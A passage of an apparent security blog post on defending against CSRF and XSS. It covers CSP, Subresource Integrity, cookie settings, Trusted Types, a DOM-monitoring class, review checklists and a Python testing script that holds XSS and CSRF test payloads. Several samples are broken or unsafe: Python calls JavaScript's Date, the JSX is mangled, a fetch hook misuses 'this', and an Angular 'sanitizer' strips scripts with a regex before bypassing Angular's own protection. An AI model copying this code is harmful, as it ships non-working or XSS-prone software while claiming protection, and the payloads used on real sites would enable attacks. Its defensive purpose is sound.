    connect-src 'self' https://api.trusted.com wss://websocket.trusted.com;
    media-src 'self' https://media.trusted.com;
    object-src 'none';
    child-src 'self' https://trusted-widgets.com;
    worker-src 'self';
    frame-ancestors 'self' https://trusted-parent.com;
    form-action 'self' https://payment-processor.com;
    upgrade-insecure-requests;
    block-all-mixed-content;
    report-uri https://csp-reporter.your-domain.com;
" http-equiv="Content-Security-Policy"/>
// CSP violation reporting handler
document.addEventListener('securitypolicyviolation', function(e) {
    var report = {
        'document-uri': e.documentURI,
        'violated-directive': e.violatedDirective,
        'original-policy': e.originalPolicy,
        'blocked-uri': e.blockedURI,
        'source-file': e.sourceFile,
        'line-number': e.lineNumber,
        'column-number': e.columnNumber,
        'timestamp': new Date().toISOString()
    };

    // Send report to security monitoring endpoint
    fetch('/api/security/csp-violation', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(report)
    }).catch(function(err) {
        console.error('Failed to report CSP violation:', err);
    });
});

Subresource Integrity, again
#

Repeating because it matters: any third-party script you serve to your users is your script as far as the browser’s concerned. SRI pins the version.

<!-- Bootstrap CSS with SRI -->
<link crossorigin="anonymous" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" rel="stylesheet"/>
<!-- jQuery with SRI -->
<script crossorigin="anonymous" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" src="https://code.jquery.com/jquery-3.6.0.min.js">
</script>

Cookies and security headers, together
#

// Comprehensive secure session configuration
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'your-domain.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // JavaScript cannot access
    'samesite' => 'Strict' // Strict same-site policy
]);
session_start();

// Additional security headers
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');

Trusted Types
#

Trusted Types is the cleanest answer to DOM XSS that the platform has produced. The idea: opt into a mode where innerHTML, srcdoc, and friends throw unless the value being assigned was produced by a sanitizing policy you defined. The browser enforces it; the developer can’t accidentally bypass it.

Chrome supports it, Firefox doesn’t yet (as of mid-2023). It’s worth turning on where it’s available.

// Enable Trusted Types if supported
if (window.trustedTypes && window.trustedTypes.createPolicy) {
    const policy = window.trustedTypes.createPolicy('default-policy', {
        createHTML: (input) => {
            // Sanitize HTML input using DOMPurify or similar
            return DOMPurify.sanitize(input, {
                ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
                ALLOWED_ATTRS: {
                    'a': ['href', 'target']
                }
            });
        },
        createScriptURL: (input) => {
            // Only allow specific trusted script URLs
            const allowedHosts = ['https://trusted-cdn.com', 'https://your-domain.com'];
            try {
                const url = new URL(input);
                if (allowedHosts.some(host => url.href.startsWith(host))) {
                    return input;
                }
            } catch (e) {
                // Invalid URL
            }
            throw new Error('Untrusted script URL: ' + input);
        },
        createScript: (input) => {
            // Validate script content (very restrictive)
            const dangerous = ['eval(', 'Function(', 'setTimeout(', 'setInterval('];
            if (dangerous.some(d => input.includes(d))) {
                throw new Error('Dangerous script content detected');
            }
            return input;
        }
    });

    // Apply policy globally
    window.trustedTypes.defaultPolicy = policy;
}

// Usage with trusted types
function updateContent(userInput) {
    const element = document.getElementById('user-content');
    // Automatically uses the trusted types policy
    element.innerHTML = userInput;
}

Templates that escape by default
#

Pick a template engine that escapes by default and makes the unescaped case loud.

# Flask/Jinja2 with auto-escaping (enabled by default)
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/greet/<name>')
def greet(name):
    # Jinja2 auto-escapes HTML by default
    template = "<h1>Hello, {{ name }}!</h1>"
    return render_template_string(template, name=name)

# For untrusted input, explicitly escape
from markupsafe import escape
@app.route('/comment/<comment>')
def show_comment(comment):
    return f"<div>{escape(comment)}</div>"
// React JSX automatically escapes content
function Comment({
    text
}) {
    return < div > {
        text
    } < /div>; / / Automatically escaped
}

// For dangerous content, use dangerouslySetInnerHTML sparingly
function DangerousComment({
    html
}) {
    // Only use after proper sanitization
    const sanitizedHtml = DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
        ALLOWED_ATTRS: {}
    });
    return < div dangerouslySetInnerHTML = {
        {
            __html: sanitizedHtml
        }
    }
    />;
}

Jinja2 (Flask, Ansible, FastAPI templates) and ERB-with-<%= h %> (Rails) both default to safe. React’s JSX defaults to safe and makes the dangerous case loud (dangerouslySetInnerHTML). Pug, Handlebars, and Liquid all escape by default. The exception cabinet is older PHP code where <?= $var ?> is unescaped by language design.

Runtime monitoring
#

class XSSMonitor {
    constructor() {
        this.violations = [];
        this.init();
    }

    init() {
        this.observeDOMChanges();
        this.monitorScriptExecutions();
        this.monitorNetworkRequests();
        this.checkForReflectedXSS();
    }

    observeDOMChanges() {
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                mutation.addedNodes.forEach((node) => {
                    if (node.nodeType === Node.ELEMENT_NODE) {
                        this.checkForXSSIndicators(node);
                    }
                });
            });
        });

        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
    }

    checkForXSSIndicators(element) {
        // Check for script tags
        if (element.tagName === 'SCRIPT') {
            this.reportViolation('Script tag injection detected', {
                tagName: element.tagName,
                src: element.src,
                content: element.textContent?.substring(0, 100)
            });
        }

        // Check for dangerous attributes
        const dangerousAttrs = ['onload', 'onerror', 'onclick', 'onmouseover', 'onkeydown'];
        dangerousAttrs.forEach(attr => {
            if (element.hasAttribute(attr)) {
                const value = element.getAttribute(attr);
                if (value.includes('javascript:') || value.includes('eval(') ||
                    value.includes('document.cookie')) {
                    this.reportViolation(`Dangerous attribute: ${attr}`, {
                        element: element.tagName,
                        attribute: attr,
                        value: value.substring(0, 50)
                    });
                }
            }
        });
    }

    monitorScriptExecutions() {
        // Hook into eval and Function constructor
        const originalEval = window.eval;
        window.eval = function(code) {
            console.warn('Eval executed with code:', code.substring(0, 100) + '...');
            return originalEval.apply(this, arguments);
        };

        const originalFunction = window.Function;
        window.Function = function(...args) {
            const code = args[args.length - 1];
            console.warn('Function constructor called with code:', code.substring(0, 100) + '...');
            return originalFunction.apply(this, arguments);
        };
    }

    monitorNetworkRequests() {
        // Monitor fetch requests
        const originalFetch = window.fetch;
        window.fetch = function(...args) {
            const url = args[0];
            if (typeof url === 'string' &&
                (url.includes('eval(') || url.includes('javascript:'))) {
                this.reportViolation('Suspicious network request', {
                    url: url
                });
            }
            return originalFetch.apply(this, args);
        };
    }

    checkForReflectedXSS() {
        // Check URL parameters for potential XSS payloads
        const urlParams = new URLSearchParams(window.location.search);
        for (let [key, value] of urlParams) {
            if (value.includes('<script>') || value.includes('javascript:') ||
                value.includes('onerror=') || value.includes('onload=')) {
                this.reportViolation('Potential reflected XSS in URL parameter', {
                    parameter: key,
                    value: value.substring(0, 50)
                });
            }
        }
    }

    reportViolation(type, details) {
        const violation = {
            type: type,
            details: details,
            timestamp: new Date().toISOString(),
            url: window.location.href,
            userAgent: navigator.userAgent,
            referrer: document.referrer
        };

        this.violations.push(violation);
        console.error('XSS Violation detected:', violation);

        // Send to security endpoint (with error handling)
        fetch('/api/security/xss-violation', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(violation),
            keepalive: true // Ensure request completes even if page unloads
        }).catch(err => console.error('Failed to report violation:', err));
    }

    getViolations() {
        return this.violations;
    }
}

// Initialize monitoring
if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', () => new XSSMonitor());
} else {
    new XSSMonitor();
}

A note on the case-study circuit
#

The same handful of incidents get rotated through every web-security article, often with the details garbled. Two recurring offenders worth correcting:

  • The “Mike Bailey Twitter XSS” story you’ll see in older write-ups is usually mangled. Bailey’s January 2010 disclosure was a Flash crossdomain.xml issue exploited via a hostile XML file, not a stored XSS in a Twitter bio. Twitter didn’t run a bug bounty until 2014 (via HackerOne), so any version of the story that ends “…and Twitter awarded him a $5,000 bounty” is dated wrong by four years.
  • The “MySpace offered $100,000 for the CSRF attackers” claim that circulates was never offered. Samy Kamkar (the actual author of the worm) pleaded guilty in 2007 to felony computer hacking, got probation, community service, and a $20,000 fine. No reward, no manhunt.

The Samy worm, the StalkDaily/Mikeyy Twitter worm, the onMouseOver Twitter worm, and the Yahoo Mail stored XSS are all covered above with the actual mechanics. Use those if you need a reference.

XSS in SPAs and JSON APIs
#

SPAs
#

SPAs change the threat model slightly: more rendering happens client-side, more data comes back as JSON, and the bug is more often in how the framework handles untrusted strings than in raw template output.

// Angular XSS protection with DomSanitizer
import {
    Component
} from '@angular/core';
import {
    DomSanitizer,
    SafeHtml
} from '@angular/platform-browser';

@Component({
    selector: 'app-comment',
    template: `<div [innerHTML]="sanitizedComment"></div>`
})
export class CommentComponent {
    constructor(private sanitizer: DomSanitizer) {}

    private userComment: string = '<script>alert("XSS")</script><p>Safe content</p>';

    get sanitizedComment(): SafeHtml {
        // Only allow safe HTML elements
        return this.sanitizer.bypassSecurityTrustHtml(
            this.userComment.replace(/<script[^>]*>.*?<\/script>/gi, '')
        );
    }
}

// React XSS protection
import DOMPurify from 'dompurify';

function Comment({
    html
}) {
    // Sanitize HTML content before rendering
    const cleanHtml = DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
        ALLOWED_ATTRS: {
            'a': ['href', 'title', 'target'],
            '*': ['style'] // Allow styles but sanitize them
        },
        FORBID_TAGS: ['script', 'object', 'embed', 'form'],
        FORBID_ATTRS: ['onclick', 'onload', 'onerror']
    });

    return < div dangerouslySetInnerHTML = {
        {
            __html: cleanHtml
        }
    }
    />;
}

JSON injection on the API side
#

// Spring Boot REST API with comprehensive XSS protection
@RestController
@RequestMapping("/api/comments")
public class CommentController {

    @Autowired
    private XSSPreventionService xssPreventionService;

    @PostMapping
    public ResponseEntity<CommentResponse> createComment(@RequestBody CommentRequest request) {
        // Validate and sanitize all input fields
        String sanitizedContent = xssPreventionService.sanitizeHtml(request.getContent());
        String sanitizedAuthor = xssPreventionService.sanitizeText(request.getAuthor());

        // Ensure content is safe for JSON responses
        String jsonSafeContent = xssPreventionService.escapeForJson(sanitizedContent);

        // Validate input constraints
        if (jsonSafeContent.length() > 10000) {
            return ResponseEntity.badRequest().body(
                new CommentResponse("Content too long"));
        }

        Comment comment = new Comment();
        comment.setContent(jsonSafeContent);
        comment.setAuthor(sanitizedAuthor);
        comment.setTimestamp(Instant.now());

        Comment savedComment = commentService.save(comment);
        return ResponseEntity.ok(new CommentResponse(savedComment));
    }

    @GetMapping("/{id}")
    public ResponseEntity<CommentResponse> getComment(@PathVariable Long id) {
        Comment comment = commentService.findById(id);
        if (comment == null) {
            return ResponseEntity.notFound().build();
        }

        // Ensure output is safe for client-side rendering
        CommentResponse response = new CommentResponse(comment);
        response.setSafeContent(xssPreventionService.encodeForHtml(comment.getContent()));

        return ResponseEntity.ok(response);
    }
}

@Service
public class XSSPreventionService {

    public String sanitizeHtml(String input) {
        if (input == null) return "";

        // Use OWASP Java HTML Sanitizer or similar
        PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
        return policy.sanitize(input);
    }

    public String sanitizeText(String input) {
        if (input == null) return "";
        // Remove potentially dangerous characters
        return input.replaceAll("[<>\"']", "");
    }

    public String escapeForJson(String input) {
        if (input == null) return "";
        return input.replace("\\", "\\\\")
                   .replace("\"", "\\\"")
                   .replace("\n", "\\n")
                   .replace("\r", "\\r")
                   .replace("\t", "\\t");
    }

    public String encodeForHtml(String input) {
        if (input == null) return "";
        return StringEscapeUtils.escapeHtml4(input);
    }
}

SSR adds its own footguns
#

// Node.js with Express and DOMPurify
const express = require('express');
const DOMPurify = require('dompurify');
const {
    JSDOM
} = require('jsdom');
const rateLimit = require('express-rate-limit');

const app = express();

// Rate limiting to prevent abuse
const limiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 minutes
    max: 100, // limit each IP to 100 requests per windowMs
    message: 'Too many requests from this IP, please try again later.'
});

app.use('/api/', limiter);

// Create DOMPurify instance with jsdom for server-side sanitization
const window = new JSDOM('').window;
const DOMPurifyServer = DOMPurify(window);

app.post('/api/comment', express.json(), (req, res) => {
    const {
        content,
        author
    } = req.body;

    // Validate input
    if (!content || typeof content !== 'string' || content.length > 5000) {
        return res.status(400).json({
            error: 'Invalid content'
        });
    }

    if (!author || typeof author !== 'string' || author.length > 100) {
        return res.status(400).json({
            error: 'Invalid author'
        });
    }

    // Sanitize HTML content
    const cleanContent = DOMPurifyServer.sanitize(content, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
        ALLOWED_ATTRS: {
            'a': ['href', 'title', 'target']
        },
        ALLOW_DATA_ATTR: false
    });

    // Sanitize author (text only)
    const cleanAuthor = author.replace(/[<>"'&]/g, '');

    // Store and return sanitized content
    const comment = {
        id: Date.now(),
        content: cleanContent,
        author: cleanAuthor,
        timestamp: new Date().toISOString()
    };

    // In a real app, save to database
    res.json({
        comment
    });
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

Putting it into the SDLC
#

Threat modeling, briefly
#

## Threat Modeling Process for Web Applications

1. **Identify Assets**
   - User data (PII, credentials, payment info)
   - Application logic and business rules
   - Third-party integrations and APIs
   - Session management and authentication

2. **Identify Threats**
   - CSRF: State-changing operations without user consent
   - XSS: Malicious script injection and execution
   - Injection: SQL, NoSQL, command injection
   - Broken authentication: Session management flaws
   - Sensitive data exposure: Weak encryption, poor key management

3. **Identify Vulnerabilities**
   - Missing input validation and sanitization
   - Improper output encoding
   - Weak CSRF protection
   - Inadequate CSP implementation
   - Missing secure headers

4. **Determine Risks**
   - Business impact assessment
   - Likelihood of exploitation
   - Technical difficulty of attacks
   - Regulatory compliance requirements

5. **Mitigation Strategies**
   - Defense in depth approach
   - Secure coding practices
   - Regular security testing
   - Continuous monitoring

Security code review
#

// Example: Secure code review checklist for web applications

const securityChecklist = {
    inputValidation: {
        'All user inputs validated': false,
        'Input length limits enforced': false,
        'Input type validation implemented': false,
        'Special characters properly handled': false
    },
    outputEncoding: {
        'HTML context properly encoded': false,
        'JavaScript context escaped': false,
        'CSS context sanitized': false,
        'URL parameters encoded': false
    },
    csrfProtection: {
        'CSRF tokens implemented': false,
        'Tokens validated on state changes': false,
        'SameSite cookies configured': false,
        'Origin validation added': false
    },
    xssPrevention: {
        'CSP headers implemented': false,
        'Content sanitization applied': false,
        'Trusted types used': false,
        'DOM manipulation secured': false
    },
    authentication: {
        'Secure session management': false,
        'Password policies enforced': false,
        'MFA implemented where required': false,
        'Session timeouts configured': false
    }
};

// Automated security testing function
function runSecurityChecks(codebase) {
    const results = {
        passed: 0,
        failed: 0,
        warnings: 0,
        issues: []
    };

    // Check for dangerous patterns
    const dangerousPatterns = [{
        pattern: /eval\s*\(/g,
        severity: 'high',
        message: 'Use of eval() detected'
    }, {
        pattern: /innerHTML\s*=/g,
        severity: 'medium',
        message: 'Direct innerHTML assignment'
    }, {
        pattern: /document\.write\s*\(/g,
        severity: 'high',
        message: 'document.write usage'
    }, {
        pattern: /location\.hash/g,
        severity: 'low',
        message: 'Potential DOM XSS via hash'
    }];

    dangerousPatterns.forEach(({
        pattern,
        severity,
        message
    }) => {
        const matches = codebase.match(pattern);
        if (matches) {
            results.issues.push({
                type: 'security',
                severity: severity,
                message: message,
                occurrences: matches.length,
                locations: matches.map(match => codebase.indexOf(match))
            });
            results.failed++;
        } else {
            results.passed++;
        }
    });

    return results;
}

Automating it
#

Burp + Python wrapper
#

# Python script for automated CSRF/XSS testing with Burp Suite
import requests
from bs4 import BeautifulSoup
import re
import json

class WebAppSecurityTester:
    def __init__(self, base_url, burp_proxy=None):
        self.base_url = base_url
        self.session = requests.Session()
        if burp_proxy:
            self.session.proxies = {
                'http': burp_proxy,
                'https': burp_proxy
            }
        self.findings = []

    def authenticate(self, username, password):
        """Establish authenticated session"""
        login_url = f"{self.base_url}/login"
        login_data = {
            'username': username,
            'password': password,
            'csrf_token': self.extract_csrf_token(login_url)
        }

        response = self.session.post(login_url, data=login_data, allow_redirects=True)
        return response.status_code == 200

    def extract_csrf_token(self, url):
        """Extract CSRF token from login form"""
        response = self.session.get(url)
        soup = BeautifulSoup(response.text, 'html.parser')

        csrf_input = soup.find('input', {'name': 'csrf_token'})
        return csrf_input['value'] if csrf_input else ''

    def test_csrf_protection(self, target_urls):
        """Test CSRF protection on state-changing endpoints"""
        csrf_payloads = [
            {'action': 'change_password', 'new_password': 'attacker123'},
            {'action': 'transfer_funds', 'amount': '1000', 'to_account': 'evil'},
            {'action': 'update_profile', 'email': 'attacker@evil.com'}
        ]

        for url in target_urls:
            for payload in csrf_payloads:
                # Test without CSRF token
                response_no_token = self.session.post(url, data=payload)
                status_no_token = response_no_token.status_code

                # Test with valid CSRF token
                payload_with_token = payload.copy()
                payload_with_token['csrf_token'] = self.extract_csrf_token(url)
                response_with_token = self.session.post(url, data=payload_with_token)
                status_with_token = response_with_token.status_code

                if status_no_token != status_with_token:
                    self.findings.append({
                        'type': 'CSRF',
                        'url': url,
                        'payload': payload['action'],
                        'severity': 'high',
                        'description': f'CSRF protection detected: {status_no_token} -> {status_with_token}'
                    })

    def test_xss_vulnerabilities(self, target_urls, payloads):
        """Test for XSS vulnerabilities"""
        xss_payloads = [
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',
            'javascript:alert("XSS")',
            '<iframe src="javascript:alert(\'XSS\')"></iframe>',
            '<body onload=alert("XSS")>'
        ] if payloads is None else payloads

        for url in target_urls:
            for payload in xss_payloads:
                test_params = {'input': payload, 'search': payload, 'query': payload}

                try:
                    response = self.session.get(url, params=test_params, timeout=10)

                    # Check if payload is reflected unsanitized
                    if payload in response.text:
                        soup = BeautifulSoup(response.text, 'html.parser')

                        # Check for dangerous contexts
                        if self.is_dangerous_context(response.text, payload):
                            self.findings.append({
                                'type': 'XSS',
                                'url': url,
                                'payload': payload,
                                'severity': 'high',
                                'description': 'XSS payload reflected in dangerous context'
                            })

                except requests.exceptions.RequestException as e:
                    self.findings.append({
                        'type': 'ERROR',
                        'url': url,
                        'severity': 'info',
                        'description': f'Request failed: {str(e)}'
                    })

    def is_dangerous_context(self, html, payload):
        """Check if XSS payload is in a dangerous HTML context"""
        dangerous_patterns = [
            r'<script[^>]*>.*?' + re.escape(payload),
            r'on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
            r'<[^>]*\s+[^>]*on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
        ]

        for pattern in dangerous_patterns:
            if re.search(pattern, html, re.IGNORECASE | re.DOTALL):
                return True
        return False

    def generate_report(self):
        """Generate security assessment report"""
        report = {
            'target': self.base_url,
            'timestamp': new Date().toISOString(),
            'findings': self.findings,
            'summary': {
                'total_findings': len(self.findings),
                'high_severity': len([f for f in self.findings if f['severity'] == 'high']),
                'medium_severity': len([f for f in self.findings if f['severity'] == 'medium']),
                'low_severity': len([f for f in self.findings if f['severity'] == 'low'])
            }
        }

        return report

    def run_full_assessment(self, authenticated=True):
        """Run comprehensive security assessment"""
        if authenticated:
            if not self.authenticate('testuser', 'testpass'):
                print("Authentication failed")
                return None

        # Define target endpoints
        endpoints = [
            f"{self.base_url}/search",
            f"{self.base_url}/profile",
            f"{self.base_url}/transfer",
            f"{self.base_url}/comment"
        ]

        # Run tests
        self.test_csrf_protection([f"{self.base_url}/transfer", f"{self.base_url}/profile"])
        self.test_xss_vulnerabilities(endpoints, None)

        return self.generate_report()

# Usage
tester = WebAppSecurityTester("https://vulnerable-app.com")
report = tester.run_full_assessment()

if report:
    print(json.dumps(report, indent=2))

References
#

OWASP
#

Standards and frameworks
#

Browser security APIs
#

Testing tools
#

Books
#

RFCs and protocol specs
#

Libraries
#

Browser dev tools
#

Testing methodologies
#

Industry guidance
#

WAFs
#

Security headers
#

Vulnerability databases
#

Compliance
#

Wrapping up
#

Both bugs are old. The defenses are old. The reason CSRF and XSS keep showing up in pen-test reports is that the defenses are a checklist of small things that have to all be true at the same time, and any individual engineer fixing any individual ticket only touches one or two of them at a time.

If you’re building or auditing, the short version is:

For CSRF, the real defenses are SameSite cookies set correctly (Lax for most sessions, Strict for high-authority cookies) and per-request CSRF tokens generated with a CSPRNG and compared in constant time. Origin checking and custom-header requirements are good belt-and-suspenders. ReCAPTCHA is the wrong tool, no matter how often it shows up in articles about this.

For XSS, the real defenses are escaping at output time in the right context (HTML body vs attribute vs JS string vs URL), a CSP that actually denies inline script, HttpOnly on the session cookie, and Trusted Types where the browser supports it. Input sanitization helps but is the weaker link; rely on the template engine to do the escape, not on yourself to remember.

For both, the operational defense is Content-Security-Policy-Report-Only long enough to learn what’s actually on your pages, then tighten the policy and start enforcing. The first time you turn on enforcement after a real reporting run is the first time you find out which one of your vendors has been silently injecting an inline <script> since 2019.

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.